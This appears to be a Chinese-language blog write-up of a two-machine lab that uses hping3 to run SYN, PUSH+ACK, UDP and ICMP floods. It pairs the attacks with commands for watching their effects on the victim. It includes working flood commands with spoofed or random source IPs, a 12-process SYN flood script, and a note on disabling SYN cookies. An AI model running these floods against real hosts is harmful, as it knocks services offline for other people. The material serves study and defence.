目錄

Hping3 工具使用

hping3

hping 最早來自 Salvatore Sanfilippo (網名 antirez)。沒錯,他就是後來開發了 Redis 的那位傳奇工程師。

根據 AI,他的演進好像是:

  • hping (1998 年):最初版本。它打破了傳統 ping 的限制,允許使用者手動設定 TCP 序號。在當時,這對於研究 TCP 序列預測(Sequence Prediction)攻擊非常有用
  • hping2 (2001-2002 年):這個版本將功能擴展到了 UDP、ICMP 以及更複雜的路徑 MTU 發現。它成為了當時滲透測試工程師的標準配備
  • hping3 (2004 年至今):這是目前最穩定、最廣泛使用的版本

hping3 最核心的整合是,整合了 Tcl (Tool Command Language) 腳本語言。這代表你不再只能下單行指令,你可以寫腳本來定義複雜的封包發送邏輯。但在這邊我們只是看他的指令。

看了一下 GitHub,上次提交已經是 12 年前了,看來之後沒什麼更新。

信息
Nmap 官方為了補足 Nmap 在「自定義封包發送」上的不足,他們開發了 nping。它幾乎可以做所有 hping3 能做的事,而且語法更現代化。

跟 DDoS 模擬有關的選項

  1. Base Option
    • -c:設定發送多少個封包
    • -I --interface [名稱]:強制指定從哪張網卡發包
    • -i --interval [uX]:設定發包間隔。預設是 1 秒
    • --flood:以硬體極限速度發包,完全不理會對方的回應
  2. Protocol Seleciton: 設定用哪個協定,比較特殊的是
    • -8, --scan: 這讓 hping3 瞬間變成類似 Nmap 的工具
    • -9, --listen: 這是一個非常有創意的功能。它會讓 hping3 進入「等待」狀態,直到網路上出現包含特定「簽名(Signature)」的封包。可以用來建立隱蔽通道(Covert Channel)或簡易的後門觸發機制。
  3. IP 相關選項
    • -a:指定一個假的 Src IP
    • --rand-source:每個封包都隨機 Src IP

多核心

因為 hping3 沒有參數設定多個 thread,他預設就是用一個 Core,所以我們可以用 for loop 執行多個 hping 這樣才會有多個核心同時跑,假如只跑一個 hping 只會看到一個 CPU Core 滿。

DDoS 實驗

這邊嘗試用兩台電腦直接相接,一台發起攻擊,另外一台模擬 IP 192.168.169.90 當作受害者,看看發起攻擊會有什麼特徵。

SYN Flood

hping3 -S --rand-source -p 80 <目標 IP>,可以再加上 --flood 讓他不計代價瘋狂發封包,但模擬這樣就夠了。

電腦 OS 會有一個 SYN Queue (半開連線隊列),所以打一般電腦就是要讓他塞滿。在 Linux 中,SYN Queue 的最大長度主要由核心參數 tcp_max_syn_backlog 決定。

kola:~$ sysctl net.ipv4.tcp_max_syn_backlog
net.ipv4.tcp_max_syn_backlog = 1024
kola:~$ sysctl net.core.somaxconn
net.core.somaxconn = 4096

可以用以下指令看現在目前半開的狀態:

# 計算目前處於 SYN_RECV 狀態的連線數量
ss -ant state syn-recv | wc -l
# 如果你想看具體是哪些 IP 佔著位子
ss -ant state syn-recv

實際上目前 Linux 預設都會有 SYN Cookie,如果發現太多 SYN 連線半開,就會在 Dmesg 看到相關的 LOG,所以你用 ss -ant 看不會有半開,因為都用 SYN Cookie。

adl@adl-D630MT:~$ sudo dmesg | grep SYN
[11132544.177997] TCP: request_sock_TCP: Possible SYN flooding on port 0.0.0.0:80. Sending cookies.
adl@adl-D630MT:~$ nstat -az TcpExtSyncookiesSent
#kernel
TcpExtSyncookiesSent            1272244            0.0

所以我們先把 SYN Cookie 關掉

`sudo sysctl -w net.ipv4.tcp_syncookies=0`

然後我們除了觀察 SYN_RECV 狀態,還可以看其他資訊證明真的被 Syn flood 正在打:

# 觀察目前有多少連線停留在三向交握的第二步(Server 已送出 SYN/ACK,等待 Client ACK)
watch -n 0.5 "ss -ant state syn-recv | wc -l"

# netstat 欄位如下
grep TcpExt /proc/net/netstat
# 若只想看特定欄位,也可以使用 nstat
nstat -az | egrep "Listen|ReqQ|Syncookies"

# 若封包在進入 TCP Stack 前就被丟棄,SYN Queue 自然不會增加
# 觀察 RX errors, dropped
ip -s link show enp1s0
# 查看 Driver 層的 Drop(若支援)
ethtool -S <NIC>

我們使用自己寫個 Script 用 12 個 Core 跑 12 個 hping3,如下:

$ cat syn_flood.bash 
#!/bin/bash

# 設定參數
TARGET="10.0.0.4"
PORT=80
THREADS=12

echo "[+] 正在啟動 $THREADS 個 hping3 進程轟炸 $TARGET:$PORT..."
echo "[-] 按下 Ctrl+C 可以一次停止所有攻擊"

# 攔截 Ctrl+C (SIGINT),確保結束時能乾淨地殺掉所有子進程
trap "echo -e '\n[!] 正在停止所有攻擊進程...'; pkill -P $$; exit" SIGINT SIGTERM

# 迴圈啟動背景進程
for i in $(seq 1 $THREADS); do
    sudo hping3 -S -p $PORT --flood $TARGET > /dev/null 2>&1 &
done

# 讓主腳本維持在前台等待,直到接收到 Ctrl+C
wait

然後開始發起攻擊,可以看到受害者不同的資訊。

Syn Queue 滿一半而已
Syn Queue 滿一半而已

大概停在 500 多也就是接近 queue 的最大數字 1024 的一半,當 tcp_syncookies 設為 0 時,Linux 核心為了避免記憶體被完全耗盡,通常不會讓你真的用到 100% 的 tcp_max_syn_backlog。在某些核心版本或配置下,當隊列填滿到一定比例(通常是 1/2 或 3/4)時,系統就會開始主動丟棄(Drop)新的 SYN 包。

TcpExtListenDrops and TcpExtTCPReqQFullDrop 會增加
TcpExtListenDrops and TcpExtTCPReqQFullDrop 會增加

在關閉 TCP Syncookies 後,攻擊期間 TcpExtListenDropsTcpExtTCPReqQFullDrop 持續增加,表示 Linux 已因 SYN Request Queue 飽和而開始直接丟棄新的 SYN 封包。

RX Drop 數量會變多
RX Drop 數量會變多

PSUH + ACK Flood

發送的多個一個「偽造連線」的 ACK 封包,受害者的核心在收到後會執行以下檢查:

  1. 查表:核心查看現有的 TCP 連線表(Established Table)
  2. 查無此人:核心發現這封包對應的「來源 IP + Port」根本沒有建立過連線
  3. 防衛機制:根據 TCP 協議(RFC 793),如果收到一個不屬於任何已知連線的 ACK 封包,接收端必須回傳一個 RST 封包,告訴對方:「我不認識這個連線,請關閉它」

雖然只是簡單的回傳一個 RST,但當攻擊量達到每秒數萬次時,會產生以下負擔:

  1. 雙向流量壓力:你發出多少 PUSH+ACK,受害者就得回送多少 RST。這會瞬間佔滿受害者的上傳頻寬(Outgoing Bandwidth)
  2. CPU 查表開銷:核心在決定回傳 RST 之前,必須先消耗 CPU 去搜尋雜湊表(Hash Table)
  3. Softirq 負載:處理每個進來的封包都會觸發軟中斷

使用 -P and -A flag 也就是 sudo hping3 -P -A -p 80 --flood 192.168.169.90 模擬發起攻擊。

受害者我們用 watch -n 1 "sar -n DEV 1" 看收到的流量 (PPS 很大) 跟用 htop 看 CPU,會有一個 Core 變很大(都在處理封包,現代網卡雖然支援多隊列(Multi-queue),但對於來自同一個來源、打向同一個目標的流量,網卡通常會透過雜湊(Hash)將其分配給同一個 CPU 核心處理,以維持封包順序)。

sar 指令查看 PPS
sar 指令查看 PPS
htop 顯示一個 Core 滿了
htop 顯示一個 Core 滿了

然後會看到一堆 RST 封包送回去,如下 tcpdump 輸出:

adl@adl-D630MT:~$ sudo tcpdump -i enp0s31f6 'tcp[tcpflags] & tcp-rst != 0' -n -c 100
[sudo] password for adl: 
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on enp0s31f6, link-type EN10MB (Ethernet), snapshot length 262144 bytes
17:22:19.772345 IP 192.168.169.90.80 > 192.168.169.81.1031: Flags [R], seq 685675530, win 0, length 0
17:22:19.772358 IP 192.168.169.90.80 > 192.168.169.81.1032: Flags [R], seq 1034589902, win 0, length 0
17:22:19.772363 IP 192.168.169.90.80 > 192.168.169.81.1033: Flags [R], seq 1457572995, win 0, length 0
17:22:19.772368 IP 192.168.169.90.80 > 192.168.169.81.1034: Flags [R], seq 1775432224, win 0, length 

UDP Flood

通常 UDP Flood 會打有開 Port 的 UDP Service,會需要花時間處理 UDP 封包,所以我們先寫一個簡單的 Python UDP Service:

adl@adl-D630MT:~$ cat udp_listen.py 
import socket

# 設定監聽 IP 與 Port
UDP_IP = "0.0.0.0"
UDP_PORT = 8000

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind((UDP_IP, UDP_PORT))

print(f"UDP Server 啟動,監聽端口: {UDP_PORT}")
count = 0

while True:
    data, addr = sock.recvfrom(1024) # 接收封包
    count += 1
    if count % 10000 == 0:
        print(f"已處理 {count} 個封包...")

使用 -udp flag 也就是 sudo hping3 --udp -p 8000 --flood 192.168.169.90 模擬攻擊。

有兩個 CPU Core 滿了,一個是 Python service,一個是專門處理網卡的
有兩個 CPU Core 滿了,一個是 Python service,一個是專門處理網卡的

然後可以用 netstat -su 看到 receive buffer errors (3,388,515),這代表有 338 萬個封包 雖然成功進到了網卡、通過了核心(Kernel),但因為你跑的 UDP Service(可能是 Python 或 nc)讀取速度太慢,導致該 Socket 的接收緩衝區(Receive Buffer)完全爆滿,如下圖:

/hping3/image-5.png

ICMP Flood

一般伺服器的下載頻寬(Inbound)通常很大,但上傳頻寬(Outbound)比較窄。攻擊者利用 ICMP 強迫受害者把自己的上傳頻寬塞滿,導致受害者無法傳送正常的網頁資料或回覆給其他客人。

使用 sudo hping3 --icmp --flood 192.168.169.90 模擬。

受害者使用 watch -n 1 "netstat -s | grep -i icmp" 查看。

/hping3/image-6.png

如上,received and send 幾乎一比一。

Reference

使用的指令可以參考:

https://kola.ink/network-command/
https://kola.ink/network-command/

其他 Reference: